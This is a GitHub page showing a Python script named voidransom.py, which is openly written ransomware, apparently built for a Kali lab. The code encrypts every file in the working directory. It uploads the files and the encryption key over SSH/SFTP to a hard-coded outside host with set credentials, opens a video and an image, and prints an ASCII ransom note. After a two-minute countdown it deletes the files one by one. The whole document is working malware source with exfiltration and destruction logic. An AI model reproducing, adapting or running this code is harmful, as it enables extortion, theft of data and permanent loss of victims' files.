-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvoidransom.py
More file actions
175 lines (145 loc) · 9.28 KB
/
voidransom.py
File metadata and controls
175 lines (145 loc) · 9.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/usr/bin/env python3
from cryptography.fernet import Fernet
import os
import time
import subprocess
import paramiko
import webbrowser
#finding files
files = []
for file in os.listdir():
if file == "voidransom.py" or file == "thekey.key" or file =="voiddecrypt.py":
continue
files.append(file)
if os.path.isfile(file):
files.append(file)
#create key
key = Fernet.generate_key()
with open("thekey.key", "wb") as thekey:
thekey.write(key)
#encryption process
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
# Exfiltrate files using SSH (SCP)
destination_ip = "10.0.2.15" # Replace with the actual IP
destination_username = "kali" # Replace with the actual username
destination_password = "kali" # Replace with the actual password
destination_path = "/home/kali/Desktop/exfildata/" # Location to exfiltrate data
# List all files in the current directory
files = [f for f in os.listdir() if os.path.isfile(f)]
# Establish SSH connection
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(destination_ip, username=destination_username, password=destination_password)
# SCP the files
for file in files:
source_file = os.path.join(os.getcwd(), file)
destination_file = f"{destination_path}/{file}"
sftp = ssh.open_sftp()
sftp.put(source_file, destination_file)
sftp.close()
print(f"File {file} has been stolen!!!")
# SCP the encryption key
key_source_file = "thekey.key"
key_destination_file = f"{destination_path}/thekey.key"
sftp = ssh.open_sftp()
sftp.put(key_source_file, key_destination_file)
sftp.close()
ssh.close()
# YouTube video URL
youtube_video_url = "https://www.youtube.com/watch?v=k0J6MeEfFAc&ab_channel=Napsilon&loop=1"
webbrowser.open_new(youtube_video_url)
# URL of gif
gif_url = "https://steamuserimages-a.akamaihd.net/ugc/854976916434675605/0A7FF9FDC45305AB9F1B4F51DCAC315274B28F96/?imw=5000&imh=5000&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=false"
webbrowser.open_new(gif_url)
# ransom note
ascii_dedops = """
,----..
,---, / / \
.' .' `\ ,---, / . : ,-.----.
,---.' \ ,---.'| . / ;. \\ / \
| | .`\ | | | :. ; / ` ;| : | .--.--.
: : | ' | ,---. | | |; | ; \ ; || | .\ : / / '
| ' ' ; : / \ ,--.__| || : | ; | '. : |: || : /`./
' | ; . | / / | / ,' |. | ' ' ' :| | \ :| : ;_
| | : | '. ' / |. ' / |' ; \; / || : . | \ \ `.
' : | / ; ' ; /|' ; |: | \ \ ', / : |`-' `----. \
| | '` ,/ ' | / || | '/ ' ; : / : : : / /`--' /
; : .' | : || : :| \ \ .' | | : '--'. /
| ,.' \ \ / \ \ / `---` `---'.| `--'---'
'---' `----' `----' `---`
"""
print(ascii_dedops)
ascii_note = r"""
_ _ _ _ _ _ _ _
( | ) / \ | | | _ _ ___ _ _ _ __ __| | __ _| |_ __ _ (_)___
V V / _ \ | | | | | | |/ _ \| | | | '__| / _` |/ _` | __/ _` | | / __|
/ ___ \| | | | |_| | (_) | |_| | | | (_| | (_| | || (_| | | \__ \
/_/ \_\_|_| \__, |\___/ \__,_|_| \__,_|\__,_|\__\__,_| |_|___/
|___/ _ _ _
___ _ __ ___ _ __ _ _ _ __ | |_ ___ __| | |
/ _ \ '_ \ / __| '__| | | | '_ \| __/ _ \/ _` | |
| __/ | | | (__| | | |_| | |_) | || __/ (_| |_|
\___|_| |_|\___|_| \__, | .__/ \__\___|\__,_(_)_
| _ \| | ___ __ _ __|___/|_| ___ ___ _ __ __| |
| |_) | |/ _ \/ _` / __|/ _ \ / __|/ _ \ '_ \ / _` |
| __/| | __/ (_| \__ \ __/ \__ \ __/ | | | (_| |
|_| |_|\___|\__,_|___/\___| |___/\___|_| |_|\__,_|
_ _ _ _
___| | ___ | |_| |__ ___ __ _ _ __ __| | _ __ ___ __ _ _ _
/ __| |/ _ \| __| '_ \/ __| / _` | '_ \ / _` | | '_ ` _ \ / _` | | | |
\__ \ | (_) | |_| | | \__ \ | (_| | | | | (_| | | | | | | | (_| | |_| |
|___/_|\___/ \__\_| |_|___/ \__,_|_| |_|\__,_| |_| |_| |_|\__,_|\__, |
/ _|_ __ ___ ___ | |_| |__ ___ __| | __ _| |_ __ _| ( | )|___/
| |_| '__/ _ \/ _ \ | __| '_ \ / _ \ / _` |/ _` | __/ _` | |V V
| _| | | __/ __/ | |_| | | | __/ | (_| | (_| | || (_| |_|
|_| |_| \___|\___| \__|_| |_|\___| \__,_|\__,_|\__\__,_(_)
"""
print(ascii_note)
ascii_art = """
⣿⣿⣿⣿⣿⠟⠋⠉⠀⠀⣀⠈⠉⠛⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠉⠈⣀⠀⠀⠉⠙⠿⣿⣿⣿⣿⣿
⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠉⠙⠓⢶⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣥⡶⠚⠋⠁⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿
⣿⣿⣿⢁⣀⣤⣤⣤⣤⣀⡀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⣀⣀⣤⣤⣤⣤⣀⡘⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⢀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⠟⠛⣉⣉⣉⣏⣙⠛⠿⣿⣦⠈⣿⣿⣿⣿⣿⣿⣿⡟⢀⣴⡿⠿⠛⡋⣹⣍⣉⣉⠛⠻⣿⣿⣿⣿⣿⣿⣿
⣿⣧⠹⣿⣿⡟⠁⠔⠉⠁⠀⠀⠀⠀⠈⠐⠀⠙⣷⣼⢸⣿⣿⣿⣿⡇⣧⡾⠉⠀⠊⠁⠀⠀⠀⠀⠈⠙⠢⠈⢻⣿⣿⢏⣽⣿
⣿⣿⠗⠈⠉⠀⠘⠤⠤⣀⣀⠀⡀⠀⠀⠤⠀⢀⣿⣿⢸⣿⣿⣿⣿⡇⣿⣷⡀⠠⠤⣀⡀⢀⡀⡀⡀⠤⠔⠃⢀⠉⠁⠺⢿⣿
⡿⢃⣴⣾⣿⣿⣷⣶⣤⣤⣄⣠⣇⣤⣴⣶⣾⣿⣿⡇⢸⣿⣿⣻⣿⡇⢻⣿⣿⣷⣶⣦⣤⣼⣄⣤⣤⣤⣶⣾⣿⣿⣷⣦⡘⢿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⢸⡟⣿⣿⣿⡇⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⢸⣿⣿⣿⣿⡇⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⣠⣾⠀⣸⣿⣿⣿⣿⡇⢸⣦⡀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣏⠻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⣩⢁⣾⣿⣿⠀⣿⣿⣿⣿⣿⣧⠀⣿⣿⣦⢸⡇⠈⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠏⣻⣿
⣿⣿⡄⠈⢙⠛⠛⠛⢋⣉⣀⣤⣶⣾⣿⡌⣿⡟⢿⡀⠿⣿⣿⣿⣿⠟⢠⡿⠿⡟⣸⣿⣷⣦⣤⣈⣉⡙⠛⠛⠛⡋⠁⢰⣿⣿
⣿⣿⣷⠀⠘⣦⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣧⣤⡵⠦⣤⣭⣭⡤⠴⢥⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⢀⣾⠁⢀⣿⣿⣿
⣿⣿⣿⣧⠀⠸⣷⡀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⢀⡀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢠⣾⠃⢀⣾⣿⣿⣿
⣿⣿⣿⣿⣧⠀⠙⣿⣄⠀⠈⠙⠛⠛⠉⠉⠉⠀⠀⠀⠀⣰⣿⣿⣄⠀⠀⠀⠀⠉⠉⠉⠙⠛⠋⠀⠀⣰⡿⠃⢀⣾⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣧⡀⠈⠻⣦⣄⣀⣀⣀⣀⣀⡀⠀⠀⠀⠾⠿⠿⠿⠿⠦⠀⠀⠀⣀⣀⣀⣀⣀⣀⣠⣾⠟⠀⢀⣾⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣷⣄⠐⣦⡙⠿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⠟⣋⡴⠁⣠⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣦⡘⢿⣷⣶⣭⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣯⣭⣶⣾⡿⢁⣼⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣌⠻⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⠟⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡙⢿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⢋⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
"""
print(ascii_art)
print("You have 2 minutes to pay ransom! Else a file will be destroyed every 60 seconds!!!")
# set time for file deletion (e.g., 10 seconds)
time.sleep(120)
# delete individual files
for file in files:
try:
os.remove(file)
print(f"File {file} is gone :((((((((")
# Introduce a delay (e.g., 1 second) between deletions
time.sleep(60)
except Exception:
pass # Passes as file already deleted
print("Too slow your data is gone!!!!")